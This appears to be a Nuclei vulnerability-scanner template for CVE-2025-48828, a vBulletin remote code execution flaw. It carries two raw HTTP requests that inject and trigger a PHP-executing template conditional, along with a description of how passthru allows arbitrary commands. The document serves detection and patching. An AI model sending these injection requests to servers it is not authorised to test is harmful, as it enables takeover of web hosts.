vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.
PoC
id: CVE-2025-48828
info:
name: vBulletin replaceAdTemplate - Remote Code Execution
author: DhiyaneshDK, Chocapikk
severity: critical
description: |
vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.
impact: |
Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
remediation: |
Upgrade to vBulletin 6.0.4+ and apply the official patch to restrict access to protected controller methods and secure the ajax/api/ad/replaceAdTemplate endpoint.
reference:
- https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php
- https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
- https://nvd.nist.gov/vuln/detail/CVE-2025-48827
- https://nvd.nist.gov/vuln/detail/CVE-2025-48828
classification:
epss-score: 0.5764
epss-percentile: 0.99063
cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-48828
cwe-id: CWE-424
metadata:
verified: true
max-request: 1
vendor: vbulletin
product: vbulletin
fofa-query: app="vBulletin"
shodan-query: http.component:"vBulletin"
tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln
variables:
rand_string: "{{to_lower(rand_base(5))}}"
rand_value: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location={{rand_string}}&template=<vb:if condition='"var_dump"("{{rand_value}}")'></vb:if>
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body,'string(5)','{{rand_value}}')
condition: and
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
routestring=ajax/render/ad_{{rand_string}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body,'string(5)','{{rand_value}}')
condition: and
# digest: 4b0a00483046022100f201faca09f55a60c5f8cf90da88d3b267e6e67e76083d4f95be2db56b9235e8022100b9dcfb9ff4595bd49a6a443d8dc412f3574a66b142d792323962eea4996b5b0f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.